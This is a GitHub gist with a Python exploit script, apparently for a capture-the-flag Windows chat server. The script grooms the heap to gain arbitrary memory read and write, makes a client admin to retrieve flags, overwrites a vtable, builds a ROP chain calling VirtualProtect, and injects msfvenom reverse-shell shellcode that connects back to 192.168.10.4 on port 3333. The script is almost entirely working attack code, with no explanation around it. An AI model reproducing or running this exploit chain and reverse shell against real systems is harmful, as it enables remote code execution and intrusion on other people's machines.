Skip to content

Instantly share code, notes, and snippets.

@mauronz
Created December 22, 2019 17:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mauronz/d5d211a0fdd387b45e25505a063e55b0 to your computer and use it in GitHub Desktop.
Save mauronz/d5d211a0fdd387b45e25505a063e55b0 to your computer and use it in GitHub Desktop.
from socket import *
import struct
controller = None
puppet = None
class ChatClient:
def __init__(self, server):
self._server = server
self._sock = socket(AF_INET, SOCK_STREAM, 0)
def connect(self, username):
self._sock.connect(self._server)
self.setname(username)
def parse_command(self, response):
cmd = response[:8].replace(b'\0', b'')
msg = response[12:]
return cmd, msg
def send_command(self, command, msg):
packet = command.ljust(8, b'\0')
packet += struct.pack('<L', len(msg))
packet += msg
self._sock.send(packet)
def setname(self, username):
#name = username.decode("hex")
self.send_command(b'SETNAME', username)
self.parse_command(self._sock.recv(1024))
def getname(self):
self.send_command(b'GETNAME', b'')
cmd, msg = self.parse_command(self._sock.recv(1024))
return msg
def isadmin(self):
self.send_command(b'ISADMIN', b'')
cmd, msg = self.parse_command(self._sock.recv(1024))
return msg
def getflag(self):
self.send_command(b'GETFLAG', b'')
cmd, msg = self.parse_command(self._sock.recv(1024))
return msg
def sendmsg(self, msg):
#msg = b"A" * (1024 - 8 - 4)
self.send_command(b'SENDMSG', msg)
cmd, msg = self.parse_command(self._sock.recv(1024))
def getmsg(self):
while True:
cmd, msg = self.parse_command(self._sock.recv(1024))
if cmd == b'SENDMSG':
print(msg)
def close(self):
self._sock.close()
def generic_read(addr, size):
orig = controller.getname()
result = b""
offset = 0
while offset < size:
block_size = min(0x40, size - offset)
newname = orig[:0x10] + struct.pack("<I", block_size) + struct.pack("<I", addr + offset)
controller.setname(newname)
data = puppet.getname()
result += data[:block_size]
offset += block_size
controller.setname(orig)
return result
def read_dword(addr):
return struct.unpack("<I", generic_read(addr, 4))[0]
def get_export(dll_base, function_name):
hdr = generic_read(dll_base, 0x1000)
pe_hdr_offset = struct.unpack("<I", hdr[0x3c:0x40])[0]
pe_hdr = hdr[pe_hdr_offset:]
export_addr, export_size = struct.unpack("<II", pe_hdr[0x78:0x80])
export = generic_read(dll_base + export_addr, export_size)
list_size, func_list_addr, name_list_addr, ordinal_list_addr = struct.unpack("<IIII", export[0x18:0x28])
func_list_offset = func_list_addr - export_addr
name_list_offset = name_list_addr - export_addr
ordinal_list_offset = ordinal_list_addr - export_addr
for i in range(list_size):
name_offset = name_list_offset + 4 * i
string_addr = struct.unpack("<I", export[name_offset:name_offset + 4])[0]
string_offset = string_addr - export_addr
string = export[string_offset:export.find(b"\x00", string_offset)]
if string == function_name:
ordinal_offset = ordinal_list_offset + 2 * i
ordinal = struct.unpack("<H", export[ordinal_offset:ordinal_offset + 2])[0]
func_offset = func_list_offset + 4 * ordinal
return dll_base + struct.unpack("<I", export[func_offset:func_offset + 4])[0]
def generic_write(addr, data):
orig = controller.getname()
offset = 0
size = len(data)
while offset < size:
block_size = min(0x40, size - offset)
block = data[offset:offset+block_size]
if block_size < 0x40:
newname = orig[:0x10] + struct.pack("<I", 0x40 - block_size) + struct.pack("<I", addr + offset + block_size)
tmp = puppet.getname()
block += tmp
newname = orig[:0x10] + struct.pack("<I", 0x40) + struct.pack("<I", addr + offset)
controller.setname(newname)
data = puppet.setname(block)
offset += block_size
controller.setname(orig)
if __name__ == '__main__':
server = ("192.168.10.3", 1337)
# Create dummy clients to activate LFH bucket (Windows 10)
l = list()
for i in range(4):
client = ChatClient(server)
client.connect(username=b"x" * 0x30)
l.append(client)
for c in l:
c.close()
controller = ChatClient(server)
controller.connect(username=b"x" * 0x18)
controller.setname(b"x" * 0x50)
# Create new puppets until one ends up in the controller name (Windows 10)
count = 0
l = list()
while True:
print(count)
puppet = ChatClient(server)
puppet.connect(username=b"x" * 0x40)
val = struct.unpack("<I", controller.getname()[:4])[0]
if val & 0xfff == 0x81c:
break
count += 1
original_puppet_data = controller.getname()
# Flag 1
# Make puppet admin
newname = original_puppet_data[:0xc] + b"\x01\x00\x00\x00" + original_puppet_data[0x10:]
controller.setname(newname)
data = puppet.getflag()
print(data.decode())
# Flag 2
# Get exe image base
data = controller.getname()
vtable = struct.unpack("<I", data[:4])[0]
img_base = vtable - 0x581c
print("Image base: 0x{:08x}".format(img_base))
# Get admin addr
client_slot_addr = img_base + 0x7458
admin_addr = read_dword(client_slot_addr)
print("Admin object address: 0x{:08x}".format(admin_addr))
admin_name_len = read_dword(admin_addr+0x10)
admin_name_addr = read_dword(admin_addr+0x14)
admin_name = generic_read(admin_name_addr, admin_name_len)
print(admin_name.decode())
# Flag 3
vtable_content = generic_read(vtable, 9 * 4)
flag2_addr = img_base + 0x18a0
# Reset puppet
controller.setname(original_puppet_data)
puppet_name_addr = struct.unpack("<I", original_puppet_data[0x14:0x18])[0]
# Override the the address of GetFlag1 with the address of GetFlag2
custom_vtable = vtable_content[:0x14] + struct.pack("<I", flag2_addr) + vtable_content[0x18:]
custom_vtable += b"\x00" * (0x40 - len(custom_vtable))
puppet.setname(custom_vtable)
newname = struct.pack("<I", puppet_name_addr) + original_puppet_data[4:]
controller.setname(newname)
data = puppet.getflag()
print(data.decode())
# Code execution
# Find the gadget "add esp, 0x18; ret" inside ucrtbase.dll
free_imp_addr = img_base + 0x50b8
free_addr = read_dword(free_imp_addr)
ucrtbase_base = (free_addr & 0xffff0000)
while generic_read(ucrtbase_base, 2) != b"MZ":
ucrtbase_base -= 0x10000
offset = 0x1000
gadget_addr = 0
while gadget_addr == 0:
ucrtbase_code = generic_read(ucrtbase_base + offset, 0x1000)
gadget_offset = ucrtbase_code.find(b"\x83\xc4\x18\xc3")
if gadget_offset != -1:
gadget_addr = ucrtbase_base + offset + gadget_offset
offset += 0x1000
print("Gadget address: 0x{:08x}".format(gadget_addr))
# Find the address of VirtualProtect
getlasterror_imp_addr = img_base + 0x5000
getlasterror_addr = read_dword(getlasterror_imp_addr)
print("GetLastError addresss: 0x{:08x}".format(getlasterror_addr))
kernel32_base = (getlasterror_addr & 0xffff0000)
while generic_read(kernel32_base, 2) != b"MZ":
kernel32_base -= 0x10000
print("kernel32.dll base: 0x{:08x}".format(kernel32_base))
virtualprotect_addr = get_export(kernel32_base, b"VirtualProtect")
print("VirtualProtect address: 0x{:08x}".format(virtualprotect_addr))
# Replace ChatClient::SendMsg with the gadget
custom_vtable = vtable_content[:0x10] + struct.pack("<I", gadget_addr) + vtable_content[0x14:]
custom_vtable += b"\x00" * (0x40 - len(custom_vtable))
puppet.setname(custom_vtable)
newname = struct.pack("<I", puppet_name_addr) + original_puppet_data[4:]
controller.setname(newname)
# Create a new client to store the staging shellcode
sc_client = ChatClient(server)
sc_client.connect(username=b"x" * 0x40)
# sc_client = 4th entry of client_slot
sc_client_addr = read_dword(client_slot_addr + 0xc)
staging_sc_addr = read_dword(sc_client_addr + 0x14)
print("Staging shellcode address: 0x{:08x}".format(staging_sc_addr))
shellcode_page = staging_sc_addr & 0xfffff000
rop = struct.pack("<I", virtualprotect_addr) \
+ struct.pack("<I", staging_sc_addr) \
+ struct.pack("<I", shellcode_page) \
+ struct.pack("<I", 0x1000) \
+ struct.pack("<I", 0x40) \
+ struct.pack("<I", staging_sc_addr + 0x3c) # store the old protection inside the padding of the staging shellcode (not used)
# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.10.4 LPORT=3333 -f python
rev_shell = b""
rev_shell += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
rev_shell += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
rev_shell += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
rev_shell += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
rev_shell += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
rev_shell += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
rev_shell += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
rev_shell += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
rev_shell += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
rev_shell += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
rev_shell += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
rev_shell += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
rev_shell += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
rev_shell += b"\x6b\x00\xff\xd5\x6a\x0a\x68\xAA\xAA\xAA\xAA\x68\x02"
rev_shell += b"\x00\xBB\xBB\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
rev_shell += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
rev_shell += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
rev_shell += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
rev_shell += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"
rev_shell += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
rev_shell += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
rev_shell += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
rev_shell += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
rev_shell += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
rev_shell += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
rev_shell += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
rev_shell += b"\x53\xff\xd5"
# ip of server listening for the reverse shell...
rev_shell = rev_shell.replace(b"\xAA\xAA\xAA\xAA", struct.pack("BBBB", 192, 168, 10, 4))
# ...and port
rev_shell = rev_shell.replace(b"\xBB\xBB", struct.pack(">H", 3333))
msg = rop + rev_shell
"""
Staging shellcode
mov edi, esp
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
push 0xaaaaaaaa ; pointer to old protect
push 0x40
push 0x1000
push ebx
mov ebp, 0xcccccccc ; address of VirtualProtect
call ebp
jmp edi
"""
shellcode = b"\x89\xE7\x89\xE3\xC1\xEB\x0C\xC1\xE3\x0C\x68\xAA\xAA\xAA\xAA\x6A\x40\x68\x00\x10\x00\x00\x53\xBD\xCC\xCC\xCC\xCC\xFF\xD5\xFF\xE7"
shellcode += b"\x00" * (0x40 - len(shellcode))
# store the old protection inside the padding of the staging shellcode (not used)
shellcode = shellcode.replace(b"\xAA\xAA\xAA\xAA", struct.pack("<I", staging_sc_addr + 0x3c))
shellcode = shellcode.replace(b"\xCC\xCC\xCC\xCC", struct.pack("<I", virtualprotect_addr))
sc_client.setname(shellcode)
puppet.sendmsg(msg)
@soxfmr
Copy link

soxfmr commented Jan 28, 2021

Nice catch 🌹

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment